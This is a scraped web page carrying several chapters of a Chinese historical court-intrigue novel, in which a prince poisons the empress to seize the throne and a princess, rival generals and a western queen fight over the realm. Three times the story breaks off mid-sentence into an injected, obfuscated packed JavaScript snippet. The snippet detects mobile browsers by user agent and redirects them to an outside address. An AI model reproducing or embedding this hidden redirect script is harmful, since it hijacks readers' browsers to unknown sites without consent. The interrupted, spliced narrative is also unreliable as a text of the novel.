白伍施高喊一声,将白圣孺的嗓音盖过,他瞪着圆眼,吵的满脸通红,“我等不了了,我受够了!三哥,既然你要做孝子,那我就来做乱臣贼子!” 说罢他一把回身拿过墙上宝剑道,“我若功成,你就是大魏开天辟地的男帝!我若败了,弟弟不求你什么,给我找块好地方埋了,埋深点儿,我投胎的时候快点儿走,下辈子再也不要在生在这地方!” “伍施!”白圣孺望着白伍施背影远去,心如擂鼓。 “殿下,”一小厮过来传话道,“敬国夫人那边说邵雍公主走时拿了个四四方方的盒子。” 四方盒子,会是什么? 当年景泰门宫变,长公主白曦华万箭穿心,全身上下几百个窟窿,唯有手心那朵□□完好…… 白圣孺忽然愣住,唇角颤抖,他不愧是白笑孔的孩子。 良久,白圣孺大笑一番,随后拿起桌上仅剩的一个瓷瓶往外走。 宫中静悄悄地,喜鹊都不落地,只在枝头停着。三泰殿上偶有乌鸦飞过,丢下一地粪便几声哑叫,仿佛奔走相告道,“开饭了,开饭了!” “孺儿,你来了。” 白笑孔仰卧在床,眼眶凹出个大窟窿,面皮似枯枝老树般抽搐,不安的双目在皮下抖动,高高鼓起的颧骨像不入流的玛瑙,停放在那张忽然陌生的脸上。 “儿子来了。” “这些年苦了你了,”她颤抖着抬起手,但是太高了,只摸到尖锐的冠,“真可惜啊,我已经看不清你了。” 白圣孺歪了歪头,疑惑的看着白笑孔怀疑她是人假扮的。他四处张望,并未发现异常,最后不死心的起身撑在床前细细看她。 这真是他的母皇吗? 太拙劣了。 不可能,他不会认错的。白圣孺摇摇头无奈的四下张望。 但是真像啊,尤其是声音。 他又看向榻上那名老妇,忽然瞥见一道伤疤。 这道疤假不了,他小时候差点摔进炭盆,是母皇及时护住了他。 看来这人真是白笑孔。 人居然会在一瞬间老这么多吗? “孺儿,孺儿……” 白圣孺接过那只即将垂落的枯枝,居高临下的望着她,“母皇。” 白笑孔:“好孩子,在豫州这些年的苦没有白吃,你很出色。从前,我总觉得你身子弱经不住苦,所以少在你身上花心思,甚至有些忽略,你怪不怪母亲?” “……不怪。” “好,好……”白笑孔露出一点笑意,“大魏有你在,我就放心了。日后,你定要好好辅佐你姐姐。无论如何,不能反目,要顾念亲情孝义,要好好守着、大魏……” 辅佐? 辅、佐…… 辅!佐! 天忽然黑下来,殿内没有点灯,白笑孔掌心钻过一阵风,盘在手腕,湿滑、冰冷…… “孺儿……” 她下意识呼喊着。 “孺儿……我、我……” 墨色的瓷瓶承载着月色,上头的红塞不知何时掉到地上,白圣孺噗通一声,双膝跪地,带着虔诚的笑意柔声道,“母亲,该吃药了。” 这药粘在舌尖,带着一点回甘与浅浅芳香,白笑孔的呼吸逐渐平稳,浑身暖洋洋的,时间撒下一张大网,一点、一点,将其打捞。 白圣孺盯着她,一直盯着她,忽然俯身向前,将耳朵贴近那双紧闭的嘴唇,煞有介事的露出笑容,眼里闪烁着光芒。 他口中应承着,频频点头,最后趴在被子上大笑起来。 “哈哈哈哈!哈哈哈哈哈!”他慢悠悠地爬起来跪在地上重重磕了三个响头,用尽全身力气拼命大吼,“儿臣!多谢母皇传位!谨遵圣谕,当夙夜兢兢,承祖宗基业,护大魏太平!” 大批黑甲军鱼贯而入,屋内外围了里三层外三层,司马烨着禁军服饰携龙袍而来,亲手为白圣孺披上,“臣等,恭贺陛下继位!陛下万岁!万岁!万万岁!” 白圣孺神色浅浅,“这屋的人,格杀勿论。” “是。” “白帝媐呢?” “启禀陛下,千里将军已率黑甲军已攻入公主府,想必白帝媐此刻已然伏诛。” “哈哈哈哈哈!好,好啊!”白圣孺露出真心实意的笑,“那就把我的好姐姐带来吧,我要她亲眼看着我加冕继位!” “是!” “启禀陛下,敬国夫人那头传来消息,群臣已被控制,听候陛下发落。” “不急。”白圣孺回头忽然笑了下,龙椅就在身后,巨大的满足感包裹住他,四肢涌上一股温热,双颊浅绯。 司马烨见状掏出鼻烟壶放在白圣孺鼻下,“殿下请。” 桃色的粉末随着白圣孺动作进入他的体内,淡淡的药香顷刻之间扫清了他眼前的阴霾,甚至有些亢奋,朦胧的双眼重新焕发光芒,身子格外轻盈,连走路都像在飞。 “怎么这么慢!”白圣孺不耐烦道,“白帝媐呢,人呢!这贱人怎么还没到!” 一华服女子被捆的如腊肠一般,头顶套了个麻袋被放在马上驮来。千里逢刚一下马,忙不迭朝白圣孺跪拜,“臣千里逢,拜见陛下!陛下万岁万岁,万万岁!公主府已被重重包围,白帝媐伏诛,陛下请看。” 顺着千里逢手臂方向,白圣孺看向马上那截腊肠儿,莫名烦躁。 分明一切都按着他的计划进行,可这股隐隐的的不适究竟是什么,为何他没有想象中那般快意? “陛下,”司马烨在他耳边道,“既然公主到了,便宣读圣旨吧。” “啊,嗯好。”白圣孺晃晃脑袋,重新看向马背上那人,又是这件火一般的衣裳,晃得人心烦! “来人,扒了她的华服!” 千里撼逢一愣,微微侧目,手下人当即会意,跑去将白帝媐拉下马解开绳子。 “等等!”人群中忽然发出一声惊叹,“这是个男人!他不是白帝媐!” 白圣孺一愣,提刀大步向前跨去,剑尖一挑,麻袋两半,里头人脸露出,他皱了皱眉,心中生出别样情愫,“禾华,怎么是你?” “一直都是我。”禾华仰面躺地,发髻凌乱,衣裳被扒开,他斜眼看着白圣孺道,“不然殿下还想见谁?” “大胆刁民,还不称陛下!”一旁侍卫上前猛地朝禾华心口踹了一脚道。 “咳咳咳!”禾华被踹的吐出口血来,他莫名笑起来,不依不饶,“白圣孺,你算哪门子的陛下?谁给你传的位,是当今圣上,还是邵雍公主啊?一个男人,竟还妄想称帝?可笑,可笑啊!” “你这是倒戈了?”白圣孺剑尖抵着他的脸颊,微微用力,留下一道长长的血痕,他玩味的笑着,“当初是你整夜跪在我的门外说要报仇,说她断了你的仕途,毁了你的前程!你说你恨她,所以潜伏在她身边。可是禾华,你如今这幅做作的姿态算什么,情根深种?” “你真叫我恶心!”白圣孺手起刀落,一把砍下禾华手臂,“当初你就是用这只手跟我发的誓呢。爱不深,恨不真,你果然是个一事无成的废物!” 鲜血喷涌而出,飞得老高,溅在白圣孺下巴上,他把剑对准禾华另一条胳膊冷冷道,“白帝媐在哪儿。” 禾华:“……不、不知道!” “很好,我竟有些看不透你了。禾华,你是要立牌坊对吗,我成全你。”白圣孺冷冷一笑,对准禾华的脑袋劈了下去。 “不好了,禁军闯进来了!!” 一声尖叫打碎白圣孺的梦,长剑高悬,其影绰绰,一只羽箭破空而来,直直插进他心口。 司马烨急忙扶住白圣孺,“陛下!” 远处高墙上,白帝媐持弓站在那里,龙袍帝冕,衬得他像赝品。 不对!这不是白帝媐,她是白笑孔! 白圣孺仰头看着,眼珠越瞪越大,沾满鲜血的双手疯狂揉搓着双目,他越来越看不清那人,心中愈加笃定那就是白笑孔! “你没死!你居然没死!”他发狂似的大喊大叫,心如擂鼓,急促的呼吸伴随飞溅的血液染红大地,“我错了,我错了!母亲,母亲救救我、救救孺儿!我不想死!我还不想死—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白帝媐往下看去,大批禁军跟随在千里撼身后,唯一不同的是那些人手臂上都系了白布。 千里撼,我果然没看错你! 白帝媐眯了眯眼,猛的站上城楼剑指千里撼道,“千里撼!趁乱谋反,其心当诛!众将士听令,取其项上人头者,封百户!” 早在一年前她暗中拜访相府时两人便布下此局,只是没想到螳螂捕蝉,黄雀在后。 “千里撼,你要做黄雀是吗?”白帝媐冷冷勾起唇角,弯弓搭箭射向千里撼。 她手持长枪,浴血而来,见其箭矢偏头躲过,远远望向白帝媐竟有一瞬沉默。 两人对视片刻,白帝媐忽的笑了下,笑的千里撼后背一凉。 人群中忽然跑出一只烟花在空中炸开,而白帝媐并不意外,相反,是千里撼感到意外。 “少主,”旧云军头目道,“老将军已在云州。” 千里撼点点头,看向那只烟花,“戚老,你认不认得这个。” 烟花转瞬即逝,戚嫦铭皱了皱眉只捕捉到一瞬,思虑片刻恍然道,“这是目祆教的标志。” “目祆教?” 这里头难道有目祆教的人?千里撼忽觉不对,望向城墙,楚山孤站在白帝媐身旁,神色凝重。 “快撤!白帝媐有埋伏,叫旧云军撤退!” “你说什么,”戚嫦铭士气正盛,正准备一鼓作气杀进皇城,她们这把岁数筹备了这么久不就是等今天吗,“何瑾就在临安门等着,马上就会来接应我们!少主,打到这个份儿上了,哪还有撤退的道理?” “你不懂!”千里撼大吼一声,“白帝媐是什么人我最清楚不过,这里头一定还有我不知道的事!” “不可能,我就算死也要战死在这里!”戚嫦铭猛的甩开千里撼,“我们有旧云军,有玉雪倾!两万九近三万的兵力,我不可能输!” 千里撼:“戚嫦铭,你到底有没有拿我当少主!我说撤退!” “少主,你还小,根本不知道我们经历了什么。我戚嫦铭这一生只认一个人,那就是千里冰封!”说罢,她拿起长刀冲了出去。 孟极雷影枪像块冰扎在手心,她忽然动弹不得,黑甲军全军覆没,如今只剩白帝媐的禁军,她能赢的! 可是,白帝媐的那抹笑意究竟代表什么? 皇城已被团团围住,玉雪倾跑来与千里撼汇合,两人刚打个照面,忽然听见有人喊道,“援军来了!是援军来了!!” 北面,是临安门的方向。 她以为来人是何瑾,却看到一面陌生的旗帜,紫色的大旗上绣着红色的火焰,上头绘着和烟花上同样的标志。 千里撼猛地一怔,意识到什么,回头往城墙上看了眼,楚山孤已经消失。 “撤退!撤退!!” 千里撼举起长枪嘶吼着,玉雪倾当即会意,两人分别朝两个方向冲出去。 大片大片的紫色旗帜像洪水般涌进皇城,他们和禁军顷刻达成共识,迅速反扑,旧云军像被野兽伏击的麋鹿,巨大的身躯被一点点瓦解,拼尽最后的力气也只勉强将千里撼送出了城。 马蹄发了狂似的向前跑,千里撼像个亡命之徒遇人就杀,路上恰巧偶遇了何瑾的头颅,睁着眼睛,妄图和她说些什么。 49. 金戈变 四 楚山孤受命一路追出城外,彼时玉雪倾早已没影,千里撼不比她武功高强,又只剩些残兵带着,所以跑的慢些。 当时生门唯有皇城北面的峖江门一个,玉雪倾让给了千里撼,带着八百残兵举着长剑硬生生从另一道璟玟门杀了出去。 一路上,不少部将见之不动,更有甚者竟被其感染,随她冲了出去。 “郡主,受降吧。” 一行人追了千里撼整整二十几天,如今将她围堵崖上,再无退路。 楚山孤:“旧云军全军覆没,千里撼,你已经输了。” “呵呵,”黏腻的发丝贴在千里撼额前,腹中的树皮硌的她生疼,她何时这样狼狈过,像一条丧家之犬,“楚山孤,熬到现在,你们也只剩一百来人了。” “是。但杀你足够。” “我今早起卦,老天给了我个地雷复,”千里撼拄着长枪,眼前一片模糊,艰难的支撑起身体,“你说,这是什么意思?” 楚山孤骑在马上,居高临下,“不远复,无祗悔。迷途知返,尚有一线生机。” “是吗,我不这么觉得呢。”千里撼笑起来,乱发下,双眼泛着血光,“我认为,是中行独复!” “千里撼,”楚山孤顿了顿,微微蹙眉道,“你会死。” “我知道,我不是早就知道嘛,”千里撼足踢枪尖弹起,十几斤的长枪泛着寒光被千里撼架在身前,直指楚山孤,“但你还定不了我的死期!” 长枪被奋力掷了出去,楚山孤反应迅速,闪身躲开。不过他身后的几人就没那么幸运了,千里撼不知哪来的力气,这杆枪硬生生串了三人才勉强停下。 这一击用尽她全身力气,一时不稳,隐隐有后倒的趋势。 “千里撼!” 楚山孤大叫一声,身后不知从哪飞出支冷箭来,直直扎进千里撼心口,顺势将其推入崖底。 耳边涌来呼啸的风声,千里撼微微睁眼发现天空好蓝,露出一抹心满意足笑。 “谁……” 楚山孤趴在崖边,掌心空落落的,层层云海翻腾,那人就这样消失了。 “是谁放的箭!” 无人应声—— 十日后,楚山孤独身回皇城复命,“启禀陛下,千里撼中箭坠崖,不知所踪。” 白帝媐懒懒睁开双目扫了眼,“先生受苦了,先回去歇息吧。” “是。” “等等,”白帝媐叫住他道,“尸体呢。” “在下带人找了三天三夜也没找到完整尸身,唯有些破碎衣物。许是摔碎了,也许是被走兽叼走了。” “……死不见尸啊,”白帝媐点了点额头思索道,“继续找,找到为止。” “是。” “你手下不就有人,叫他们留在那儿。”白帝媐道。 “启禀陛下,在下手下之人全军覆没,请陛下降罪。” “罢了罢了,”白帝媐不耐的摆摆手道,“这么多人抓一个千里撼都抓不住,死了就死了吧,总归是没用的。下去吧。” “是。” 楚山孤风尘仆仆,起身离开,白帝媐望着他的背影歪了歪头喃喃自语,“怎么失魂落魄的呢……” “陛下!”一名宫女急忙跑来报道,“禾丞相醒了!” 白帝媐闻言急忙跑去百柳园,一开门便瞧见禾华睁着眼痴痴望向门口,见她来了,才露一抹笑。 “禾华!”白帝媐快步到他床前坐下,摸了摸他的额头道,“终于退烧了。” 禾华看着她,又看了看她的衣裳,露出淡淡笑意,叫了声“陛下”。 白帝媐点点头,满眼笑意,俨然一副胜利者的姿态向他显摆着自己的威风。 她笑了笑,像说悄悄话似的,附耳低声道,“我已封你做相国了,快好起来吧。” “我才、三十二岁,就做相国吗?”禾华笑道。 “从龙定策之功,够了。”她轻轻为禾华掖了掖被子,“若无你扮作我争取时间,何来今日?” “你不怪我了?” “算了。都过去了。” 白帝媐想去握他的手,却只摸到冷冷被褥。瞧着禾华的模样,她多少心中有数,血流的太多,大夫来的太晚,左右不过是靠着一口气撑到现在。 她皱了皱眉,咽下心头涌上的不适感。 “我想、我想,出去走走。” “好,我扶你。” 禾华穿衣间隙瞥了眼那只空悬的袖子,抿了抿唇,嗤笑一声。白帝屏退左右,将其扶起,似寻常妻夫般相互依偎着,两人身形相仿,远远瞧去如同一个模子刻出来的。 禾华:“这是哪儿,翠绿翠绿的,一眼瞧去真敞亮。” “百柳园,”白帝媐和他并肩往前走,“我一猜你就会喜欢这儿。前面还有个九孔桥,我带你去。” “好。” 玉桥傍翠堤,旭日伏金笼。两人站在桥上,身影曲折的落在水中,连鱼都不爱凑近。 一截柳枝打在禾华脸上,他瞧了瞧,用完好的胳膊生生将其扯断。 白帝媐:“怎么了?” 柳叶在他掌心横亘,绿色的汁水像一道疤,禾华转过身来,举着那截柳枝忽然唱起来,“渭城朝雨浥轻尘,客舍青青柳色新。劝君更尽一杯酒,西出阳关无故人……” 一遍、两遍、三遍。 末了,他将柳枝放进白帝媐手中道:“从今一别,两地相思入梦频,闻雁来宾。” 清风拂面,柳枝拧成一根绳荡在他颈间,白帝媐接过柳枝愣了一瞬,看向禾华惨白的脸,一遍又一遍地看。 第二天,百柳园传来消息——禾丞相薨世了。 左右侍婢无一人敢上报皇帝,生怕触怒天颜。奇怪的是白帝媐听到这消息并没什么反应,无悲无喜,只远远望着公主府的方向。 七日后,禾华以丞相之仪下葬,帝亲为其撰墓志铭。 汉白玉碑,螭首赑屃,白帝媐站在阳光下与其对视。良久,她忽然开口,“能为我死去是你的荣耀。” “下辈子,我再也不要遇见你。” 翠柳微扬,长恨未央。 千里撼兵败的消息很快传开,甚至传到了云州亦山居—— 千里冰封接过副将九死一生才寻回的银色肩甲,鱼鳞甲那样坚硬,却碎成了块。 何瑾被杀,戚嫦铭战死,旧云军兵败,千里撼失踪…… 她像被装在钟罩里,木桩一下又一下的撞击着她的心脏,不肯罢休。 “孟极雷影枪呢?”她忽然问道。 “请恕属下无能!”副将跪地痛哭。 “琼林答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292919|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应过我,无论如何也不会丢掉这杆枪。她没死,她一定还活着,我知道的,她一定……” 腿上忽然多出一抹红色,千里冰封疑惑的蹭了蹭,发觉那抹红还在加深。燕儿见此急忙扶住她惊呼道,“家主!快传大夫,快!” 殷红的血液从她口中流出,那块银甲被死死按在胸前,千里冰封眼珠外凸,还在梗着脖子默念,“我的琼林不会死……” 闻武迅速赶来,见状急忙为其施针。 千里冰封刚才缓过一口气来,枕在燕儿怀中,涕泪横流。她忽然开始后悔,如果自己没有那么多的恨,会否千里家就不会走到今日地步。 “燕儿,去找琼林、去、找……” 燕儿双眉紧蹙,拼尽全力挤出个安慰的笑,“去了,佩儿早就去了,少主很快就能回来的!家主你一定要等她啊!好不好?” “好,我、等着。” 千里冰封强睁着双眼,像搁浅的鱼,那双眼很快便蒙上一层雾气,像进入了另一个世界。 闻武坐在一旁,一语不发,指尖衔着根极长的银针,似獠牙般刺进千里冰封的脉搏。 这场仗早已在她心中推演上百遍,一兵一卒,一草一木,每个人都被她安排的恰到好处。 为什么会输? 白横弋的声音忽然似鬼般缠了上来,那年她刚生下白笑孔,风华正茂,大殿之中唯有她们二人。 “千里复,你的傲慢会害了你,害了大魏!” 阶下,千里冰封跪在玄砖上一语不发。 “你出名太早,从未败过,不明白失败的滋味,更无法接受。可人不会永远赢。你身为主将,丢了云州九城,居然还有脸活着。我若是你,兵败自杀,惨死阵前也好全了气节!罢了,既然你要活便苟且着吧,我要你和你的千里家世代做我白家猎犬,用尽最后一滴血守护大魏!” “从今以后你便好好在家中反省,非得我令,永世不得出!啊,我忘了。你的腿已然废了,出不去。” 那是千里冰封第一次尝到失败的滋味,彻彻底底的失败,如今又尝到第二次。 白家,一脉相承的狠辣!白横弋、白笑孔、白帝媐,哪个是省油的灯? 三代人,她活生生熬了三代人也没赢过她白家,从没赢过! 可她必须这么做,哪怕粉身碎骨!白横弋,她是多么了解她,千里冰封忽然露出一抹惨笑,鲜血大口大口涌出。 白横弋不可能放过她的—— “家主!家主!!”燕儿见其吐血不止顿时慌乱起来。 “没用了,”闻武探了探她的脉搏,脸色一白,哑声道,“无力回天了。” “什么……不可能,不可能的!”燕儿哀嚎着摇晃她,“家主!家主你醒醒啊!再坚持一下,佩儿和罗凛就快带少主回来了!你再等等啊!!” “不要丢下我!你们都不要丢下我!我不要一个人在这里,你快醒醒啊!!”她哭的撕心裂肺,将这些天忍下的,属于千里撼的那一份也哭了出来。 千里撼坠崖之处名叫来硕崖,距云州不远,从皇城到此不眠不休也要二十五日,她分明就要到家了。 佩儿和罗凛一面躲避魏军,一面在崖底寻找千里撼的踪迹,最终拼出副完整铠甲。 六个月后,两人回云州为千里撼立衣冠冢。 50. 金戈变 五 “燕儿,你怎么让他走了?”佩儿问道。 “……因为拦不住。” “什么意思?” 燕儿望向窗外,眉目浅浅,“当初我们要给少主立衣冠冢,罗凛死活不让,哭着喊着说她没死,最后是姑爷拦住了他。可如今,一年过去了,他们日日去崖下找,姑爷更是直接住在崖底,依旧杳无音信。” 佩儿眼眸低垂,没有说话。 “云州群龙无首,我临危受命被推到了这个位置。如果可以我多想和姑爷一样,可我不能,”她顿了顿,眼中闪过一丝恨意,“我要替少主守好这里,带领旧云军,等她回来。她答应过我会让这世间放晴,我相信她。” 佩儿:“可罗凛是员猛将,如今旧云军所剩无几,若再无罗凛,想攻回去更是难上加难。” “看看这个吧。” 燕儿拿出一个锦囊交给佩儿,她瞧了瞧,发觉是千里撼的字迹。 “谋反前夜,少主给了我一个锦囊,她说如果她回不来了,就打开。” 佩儿逐字逐句地看完,最终只有一声叹息,“所以这是少主的意思,她想放罗凛走。” “是,”燕儿指尖飞快从眼下划过,掖了掖头发,“她想的周全,面面俱到,甚至叫我不要想着报仇,就这样带着大家安心待在云州过日子。这怎么可能呢,于是我不死心地翻到了背面。” 佩儿闻言也翻到背面。 上面端端正正四个大字,“等我回来。” 一瞬间,心像被箭射穿,佩儿不可置信的看向燕儿,“所以……” “是,我相信她绝不会死。所以我放罗凛走,放他回北疆。” “佩儿,”燕儿拍了拍她颤抖的肩膀,像千里撼哄她那般轻声道,“不要怕,我们还没输。因为西北有玉雪倾。” “不好了!”一人慌慌张张闯进来道,“少主的坟被人刨了!” “什么?!” 冷硬的风掀起一阵黄沙,马上,罗凛抱着一个不属于他的布包向北疾驰。他目视前方,别扭的将布包放在身前搂住,双眼布满红丝,身后远远跟着一群狼。 一声狼嚎响彻天际,入夜时分,一道身影独自坐在马旁擦拭宝剑。马尾悠哉的摇晃,大口大口的喝水,这里本就是苍凉之地,水便格外甘甜。 “喝饱了吗?”她慈爱的拍拍马颈轻声道。 忽然,黄沙卷起尘土扑面而来,玉雪倾猛的侧过头去,面向南方。银色的宝剑照亮她日渐沧桑的面庞,和眼下早已风干的泪痕。 “嗷呜———” “哈,”玉雪倾低笑一声,摸了摸马鬃自言自语道,“看来他快到了。” 片刻后,一道身影出现在她眼前,风尘仆仆。 罗凛看着她,良久,只吐出三个字,“借我兵。” 同年一月,白帝媐登基帝位,告祭天地,年号——鼎新。 次年,玉雪倾举兵北疆,打通云州,大败夷人。随后于西北称帝,定国号——姜。 九月,北疆易主,立新王。 鼎新四年,姜国频繁进攻魏国,北疆按兵不动,天下三分。 鼎新五年,姜国大军压境,于连山关进攻大魏,此战足足打了四百一十天,双方皆损失惨重。最终姜帝放火烧山,斩杀魏国大将千里逢一举得胜,再夺四城。 连山关—— 姜军弹尽粮绝,楚长行将仅剩的一点粮食端给玉雪倾道,“吃吧。吃饱了,我们一起杀出去。” 玉雪倾看向他,忽然笑了一下,牵动侧脸那道狰狞的伤口,她点了点楚长行额头轻声询问,“跟了我后不后悔?” “你是帝王,我是臣子。我与你生死相随,永不后悔。” “好,”长剑在玉雪倾腿间随意歪倒,一身鳞甲冷的叫人打战,她接过碗倚靠在楚长行肩上默默吃起来,“你说琼林会不会忽然冲出来给魏军粮草放一把火?” 这么多年过去,她还是想不开。 楚长行蹭了蹭玉雪倾的脑袋同她开起玩笑,“说不定啊,她这人最是没道理。指不定忽然就从什么地方钻出来了,没准还能顺便给千里逢那小子吓死,省得咱们打了。” “哈哈,”玉雪倾笑了下,问道:“粮草最多还能撑几日。” “两日。” “北疆的援军呢。” “最快也要七日才到。” “好,好。”玉雪倾点点头,一仰头吃光碗里的残渣道,“我若赢了,出去后就把千里撼的破坟刨了。我若输了,便送罗凛一个大礼!” 她说完,眼睛闪过一道寒光,“收拾收拾,从氓山走。” “是!” 玉雪倾轻装上阵,只带八百人夜袭魏军大营,不巧的是魏军早有埋伏。 魏军三千余人早早埋伏山上,将玉雪倾一行人层层包围。 千里逢见此,现身道:“玉雪倾,我这招请君入瓮使得怎么样?” “呵呵,千里逢,你终于敢出来见我了。”玉雪倾冷嘲热讽,“你做了这么久的缩头乌龟,大魏的将领都被你祸害没了!如今你也快要撑不住了吧,竟然还有心情和我耀武扬威?” “再撑不住也走到如今了,而且你瞧,”千里逢微笑着,张开手臂转了一圈,像盯上猎物的蛇,“我早布下了天罗地网,你逃不掉的!” “逃?”玉雪倾忽然笑出来,“千里逢,你以为我和你一样,愿意给白帝媐当狗。对她摇尾乞怜,苟延残喘的活着?” “闭嘴!你懂什么,无知的疯妇!”千里撼咬牙切齿道,“我恨透了你,你为什么一点也不听话!你知道我现在过的是什么日子吗,我分明只差一点就能赢了,都怪你!都怪你和千里撼那个死人来搅局!否则现在坐在皇城宝座上的应该是我!是我!!” “她不是死人。”玉雪倾神色一冷,从牙缝里蹦出几个字,“她没死!” “呵呵,哈哈哈哈哈!”千里逢像是听到了什么笑话,忽然捧着肚子笑起来,笑的直不起腰,扶着一旁树桩蹭了蹭眼泪,“玉雪倾,你个傻子不会还觉得那贱人活着吧?五年了,她都烂的渣儿都没了!” “实话告诉你,当年我刚一察觉到千里冰封那个老东西手里有兵的时候就已经和白圣孺通过气了,只可惜他太没用,竟然活生生被白帝媐给吓死了!我能怎么办?当时那种情况我只能倒戈。别说什么出卖千里家,是千里家先出卖的我,是她们先抛弃的我!” 千里逢:“我本来想着叫白圣孺杀了白帝媐,顺带再灭了旧云军,这样我只需杀了白圣孺就能坐收渔翁之利!可为什么,为什么所有事情都和我想的不一样,那突然钻出来目祆教更是闻所未闻!白帝媐这个疯子,堂堂皇帝居然和那帮妖兵沆瀣一气,真是丢尽了大魏的脸!” “但是、但是也还是有好事发生的,”他忽然笑起来,像是疯了,两眼猩红布满血丝,恨不得拽着玉雪倾大倒苦水,“你知道吗,我现在是千里家的家主,是大魏的柱国大将军!千里撼、千里撼那个贱人,我杀她那么多次她就是不死!十八年前,我和她说丹哲沙漠里有能治愈腿疾的秘术,她就去了,我找了十几个杀手埋伏她,叫人将她的尸体直接丢进流沙!可她呢,这天杀的居然自己又走了回来!我的天……” 他捂着额头哭笑不得,“好在白帝媐把她杀了,这是为数不多能慰藉我的事了。我就说嘛,你们女人杀起女人来比我厉害多了哈哈哈哈哈……死得其所!” 玉雪倾看着他,忽然没头没尾的说了句,“原来你都记得,你和我一样。” “……你说什么。”千里逢顿时没了表情,眼神空洞的盯着她。 两人对视片刻,背上都像背了只鬼,鬼在呼号,声音藏在风中,带起树叶沙沙。 “你也梦见过。”千里逢盯着玉雪倾,像寻找宿主的吸血虫,他向她靠近,口中喃喃自语,“你也梦见过……那你也知道。我是对的!我就说我是对的,一切都错了,我是对的……” 这下轮到了玉雪倾笑,她抿着唇,大大的咧着嘴角,全身是从未有过的舒爽。一双眉头挑了个极其怜悯的位置, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292920|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里却是藏不住的耻笑,她看着千里逢眼神关爱,像在看条虫子。 “你记得,”她仰着头,虔诚的望向夜空,“原来你什么都记得,谢谢你,谢谢你记得……” “……你疯了。你在说什么?”千里逢见她这副模样忽然有些胆怯。 一股又一股的血液往脑子里钻,身体像掉进了岩浆,唇上一阵冰凉,玉雪倾抹了把,发觉是鼻血。 “不好了!不好了!着火啦!!” 不知何时,魏军大营火光冲天,大片大片的浓烟涌上氓山,火蛇一跃化龙,竟也爬上氓山将她们包围。 “什么?!”千里逢大惊失色,连忙下令,“杀了她们!全部,都给我上!!” 他连连后撤,堵着口鼻,企图寻找下山之路,可惜四周都被浓烟包围。玉雪倾早有准备,带人围上湿布奋起反扑。 魏军军心大乱,一时见竟被这区区八百人打散,顷刻之间葬身火海。 浓烟之中,忽然伸出一只手来捉住千里逢,那只手像剥了皮的白骨,带着泥渣刚从地底钻出。 他抽出剑来就要砍,却被一柄长剑生生斩断,手被震得发木,千里逢连连后退,戒备的望着那人。 “从前我就在想,你分明什么都不如我,为何总能压我一头。文韬武略、治国理政,你真的不是这块料。” 一棵大树被烧断重重砸在玉雪倾身后,一举为其荡平浓烟,将她与所有人隔开。给了独属于千里逢的“二人世界”。 “可是后来我想通了,”她扬手一甩,剑上鲜血飞走大半,“千里铎远,论起阴谋诡计、两面三刀,我的确不如你。老天是公平的,若只有我一个人‘记得’,未免太过痛苦了,还好你都记得、都知道,叫我能实现真正的‘复仇’。” “疯子!你个粗鲁的蠢女人你疯了!!”千里逢退无可退,身后一片烈火,他提断剑指着玉雪倾怀柔道,“折儿,你好好想想啊,不值得!你是一国之君,你有好不容易建立起的姜国!你想想你拥有的一切,啊?就算你今日报了仇,与我同归于尽,可那又怎样?你还是一无所有,连命都没了,姜国也完了!” 玉雪倾忽然笑了,千里逢看不清她的笑容,但他记得那对眉眼,此刻应是舒展着的。 玉雪倾漫不经心的张开双臂笑道,“千里逢,你前怕狼后怕虎,珍惜着你那条贱命,所以你什么都得不到,永远失败!这个世界不属于你这样的人,阴谋诡计只能是一时的,天下属于疯子!属于无惧之人!属于我!” 一道寒光闪过,两剑对劈,左右不过十招,千里逢生生被砍了四剑。 他捂着胸口血痕,再没了那副矜贵做作的姿态,背靠大树挥舞着长剑像只穷途末路的蝎子,歇斯底里的嘶吼着,“玉雪倾!你若死了就什么都没了!姜国转瞬即是白帝媐囊中之物!你不恨吗!” “不。” 玉雪倾云淡风轻,看着千里逢像在赏析名画,唇角不自觉的上提,她无所谓的摇摇头,“若我死,琼林自会为我复仇。可你,”她指了指千里逢道,“你今日必死!” “你彻底疯了!”见再无转圜之地,千里逢彻底放弃,举起长剑迎了上去,可这次他连一招都没接住。 银色长剑穿透他的眉心,越过层层黑发露出一点剑尖。 “这样死最美,你喜欢吗。” 玉雪倾猛的抽出剑身,随后轻点他的肩膀,向后一推,倒入火海。 一滴血泪流下,刚好经过那颗红痣,楚楚动人。 “啊,啊——” 大火后的荒山空无人烟,连走兽也难以幸免,一只乌鸦在山顶盘桓几圈凄凉的叫着,无功而返。 男子伸出手臂将乌鸦接住,望向氓山皱了皱眉,“为什么他会死?为什么她能斩龙脉?” “啊——” “你也觉得很奇怪对么?是啊,”他自言自语道,“或许答案在她身上呢?” 连山一役过后,姜国休养生息,以备再战之力。魏国南迁,凭姝江天堑布防,避乱求存。 51. 阇罗斯丹篇 “小扇子,又出门挖笋呐?” “嗯!”男子肩上背着个箩筐,挽上裤脚,“是啊,刚下了雨,我得赶紧去呢!” “你可少吃点吧!天天吃那山椒泡笋小心伤了嗓子,以后不唱戏啦?” “不耽误的!” 